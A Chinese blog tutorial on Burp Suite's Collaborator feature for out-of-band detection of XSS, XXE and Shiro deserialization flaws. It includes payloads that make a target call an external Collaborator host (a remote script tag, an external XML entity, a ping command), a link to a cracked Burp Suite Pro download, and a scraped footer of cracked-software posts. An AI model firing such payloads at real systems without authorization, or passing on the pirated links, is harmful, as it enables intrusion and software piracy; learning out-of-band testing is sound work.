0x00:前情概述

我们在做渗透测试的过程中发送完payload之后都能及时获得执行的结果吗?

不一定。就比如说我们在留言处插入一条XSS语句“<script>alert(1)</script>”,我们没有权限登录到后台系统,就不确定这条语句是否被执行了,那我们能说留言处不存在XSS漏洞吗?显然是不行的。

在很多渗透测试场景中,我们发送完payload之后,系统并不会给测试人员返回明确的信息或者返回的信息测试人员没有权限看到。此时我们需要一个外部独立的服务器,可以通过域名 url 进行访问,我们把服务器地址放在payload中一同发送给目标服务器,如果存在漏洞,那么目标服务器就会去访问我们的服务器并留下访问记录,从而有利于我们判断漏洞的存在。这就是Collaborator插件存在的意义。

其实我们有一台有外网地址的服务器就行了,那为什么不买一台××云的vps呢?

0x01:Collaborator介绍

Burp Collaborator是从Burp suite v1.6.15版本添加的新功能,但是直到目前来说依然是付费才能使用的功能,如果你使用的是社区版的Burp suite,将会看到下图显示的内容:

不用怕,穷哈一族是付不起这么高昂的费用的。

最新BurpSuitePro2020.1下载地址:

https://mega.nz/#!sIonzAIJ!XCm-HxZDlZ4NtURtEW4-ixORoaiL1hBljmcHaGhMlXs

(如果你的访问不到的话,后台回复bsp2020.1,激活工具也在里面)

对于Collaborator服务器,不仅可以用burp官方自带的,也可以自行搭建,这里不作为讨论的重点。

再介绍两个概念:In-band attack与 out-band attack(带内与带外攻击),带内与带外的区别核心在于是否使用多个的通信通道。

在一次攻击当中,只使用一条信道就能完成攻击过程,属于in-band(带内)攻击:

在同一次攻击过程中,使用了不止一条信道,则属于out-band(带外)攻击:

0x02:Collaborator原理

对于 Collaborator 服务器,首先要能捕捉到burp发出payload触发目标与外部系统发生的交互行为,其次目标服务器与Collaborator服务器产生的交互数据能够返回到 burp,也就是返回给测试人员。

这就是大致的工作原理,其实这中间还有一个burp向Collaborator服务器轮询的一个过程,通过一张更详细的图来了解一下:

上图首先burp发送的param参数中存在漏洞,参数值为包含Collaborator服务器地址的payload,如果在目标系统上被解析或调用后,目标服务器会去访问这个Collaborator服务器为这次攻击产生的二级域名地址。当burp发送payload后,就开始向Collaborator服务器进行询问是否收到payload交互,如果存在交互,Collaborator会将交互信息返回到BurpSuite。

讲完整个工作原理,那么Collaborator 服务器应该具备哪儿些特征呢:

  • Burp Collaborator 服务器通常运行在公网上。

  • 它使用自己的专用域名,并且这个服务器已注册为该域名的权威DNS服务器。

  • 它提供一个DNS服务,可以响应任何对他的dns请求

  • 它提供HTTP/HTTPS 服务,使用一个有效的SSL证书

  • 将来可以添加其他的服务,比如smtp和ftp。

0x03:Collaborator 使用

打开burpsuite,在“Project options”--“Misc”--“Burp Collaborator Server”下选择第一个官方默认服务器即可。如下图:

然后通过工具栏的“Burp”下的“Burp Collaborator client”来运行,如图所示:

我们通过点击“Copy to clipboard”来复制官网提供的二级域名,通过“Poll every”来设置轮询时间,也可以通过“Poll now”按钮即刻询问,如图所示:

0x04:实测效果

我们通过XSS、XXE和之前讲过的Shiro反序列化漏洞来介绍工具的使用效果。

1、我们开篇讲的那个XSS的例子,可以使用<script src=http://f1hxd4u7pgbdikqhq7xlwksca3gt4i.burpcollaborator.net></script>来触发。但是对于XSS漏洞,可以在网上找XSS平台来用更方便一些,自己搭建一个XSS平台的话安全性更高。

我们可以看到有对这个地址的DNS解析请求和HTTP请求。

2、XXE漏洞

我们使用如下代码进行测试:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % test SYSTEM "http://ewenjo6b8wl18ym7ywjqt1t08reh26.burpcollaborator.net">
%test;
]>

使用Collaborator服务器生成的新的二级域名,当存在XXE漏洞时就会请求这个地址,具体的XXE原理可见之前的文章XXE漏洞 你品,你细品。

同样我们看到了新的DNS解析请求和HTTP请求。

3、Shiro反序列化漏洞会导致命令执行,但是如果执行系统命令很有可能泄露系统信息或者没有回显,我们可以使用“ping 7t1hstxev80ozxbx5yvvokortiz8nx.burpcollaborator.net”来达到验证漏洞的效果。

漏洞的具体利用细节见之前的文章Apache Shiro<=1.2.4反序列RCE漏洞复现及延伸。

0x05:总结

总体来说 Collaborator插件给我们的测试带来了很多的便利。

想获取更多安全技术文章,长按下方图片关注我们:

BurpSuite-Collaborator插件介绍 附最新burp破解版地址相关推荐

  1. 瑞星杀毒 2004 V16.47.10 最新完美破解版

    瑞星杀毒 2004 V16.47.10 最新完美破解版 瑞星杀毒 2004 V16.47.10 最新完美版(光盘破解版) 软件大小:46039K 软件语言:简体中文 授权方式:零售版 软件类别:病毒防 ...

  2. AE视频稳定防抖插件proDAD Mercalli for Mac破解版

    为大家推荐一款视频稳定防抖插件,proDAD mercalli for mac破解版的主要功能就是消除拍摄视频时抖动.颠簸和颤抖的影响,非常的好用,ProDAD Mercalli4.0破解版中包含Cm ...

  3. Ultraedit Mac(文本编辑器)V15.1.0.1 最新中文破解版

    Ultraedit Mac(文本编辑器)V15.1.0.1 最新中文破解版Ultraedit Mac破解版下载 7.3分会员下载 共4人评分 程序猿装机必备详情▲ 价格 0 积分 加入会员免费下载 发 ...

  4. AE慢动作变速插件:Twixtor Pro for Mac破解版永久激活方法附注册码

    Twixtor Pro for Mac是一款非常好用的AE超级慢动作变速插件,twixtor 插件能够"无极"的减慢.加速或变更连续图像的帧速,来带给你惊人的视觉效果.twixto ...

  5. PS磨皮滤镜插件:Portraiture 3 for Mac破解版永久激活方法

    为大家推荐Mac上最好用的一款PS磨皮滤镜Portraiture.Portraitur Mac主要用于人像图片润色,它可以在保持皮肤的色泽的情况下对图像中的皮肤.头发.眉毛.睫毛等部位进行平滑的疵点处 ...

  6. 求一个防关联浏览器的插件,防关联浏览器破解版

    相关搜索: 指纹浏览器 防关联用vps还是超级浏览器 指纹浏览器有哪些 候鸟防关联浏览器下载 防关联指纹浏览器 亚马逊erp软件 防关联浏览器哪个好 免费防关联浏览器 2021年防关联浏览器 防关联指 ...

  7. FCPX超级慢动作变速插件Twixtor Pro 7 Mac破解版激活教程

    Twixtor Pro for Mac是一款适用于Mac版本的Final Cut Pro X软件的超级慢动作变速插件,twixtor pro 插件能够"无极"的减慢.加速或变更连续 ...

  8. 【硬核干货】Teleport Ultra扒站教程 (附汉化破解版资源下载链接)

    teleport ultra中文简体破解版(整站下载器)1.65 无限制注册版下载链接: https://download.csdn.net/download/hinkai/10816015

  9. MAC系统看图绝佳利器LilyView,附1.22破解版

    LilyView可以让Mac里面看图的体验就像回到了Windows一样,随便点看一幅图,就可以通过光标键接着浏览下一幅或者上一幅图.后面有破解版下载使用. 链接:https://pan.baidu.c ...

最新文章

  1. 大脑是怎样和身体交流的?
  2. 索尼AI CEO:我们要让AI在30年内拿到诺贝尔奖
  3. elasticsearch best_fields most_fields cross_fields从内在实现看区别——本质就是前两者是以field为中心,后者是词条为中心...
  4. NHibernate之Could not initialize proxy - no Session Bug
  5. 虚拟机里安装Linux系统出现乱码
  6. 数据库系统概论:第一章 绪论
  7. python查看opencv版本命令行_查看python下OpenCV版本的方法
  8. centos7 firewall指定IP与端口访问(常用)
  9. 哪些是MySQL用于放置一些头文件的目录_在古希腊的知识体系中,两大部分是( )。...
  10. python向字典添加元素_python中怎么向字典添加元素
  11. Qt信号和槽的连接--发射信号而槽未响应
  12. BigDecimal的使用方法和注意事项
  13. 智慧园区大数据平台建设方案(ppt)
  14. 机器人聊天软件c#_用C#开发MSN插件程序(比如聊天机器人)
  15. 前端背景图放置_css如何设置背景图片?background属性添加背景图片
  16. 人保爱无忧易核版重疾险怎么样?好不好?
  17. 华为策略路由加等价路由_思科华为路由器如何利用route-map配置双wan口策略路由...
  18. 如何使用Sheffield大学的Matlab GA遗传算法工具箱
  19. ☀️光天化日学C语言☀️(31)- break 关键字 | 当断则断!
  20. 阿里旺旺 V5.60.03W

热门文章

  1. 复合函数求导经典例题_【2017年整理】多元函数求导经典例题.ppt
  2. mapreduce面试问题_MapReduce问题与解答第2部分
  3. 询问HTG:升级Xbox 360 HDD,头痛免费的圣诞灯修复和剥离Kindle DRM
  4. 【Matlab符号积分和符号微分的实现方法】积分微分
  5. DNSPod十问百果园焦岳:为什么开水果店是一门高科技生意?
  6. c++、7-5 估算数学常数e的值
  7. apache commons fileupload 团队
  8. ubuntu 18.04-设置合上笔记本盖子不休眠
  9. Tracup|减少压力和更多的成功,帮助您摆脱工作焦虑的利器
  10. 手机拍的照片计算机内存不足怎么办,手机内存不够用,照片应该怎么处理才能够少占用内存?...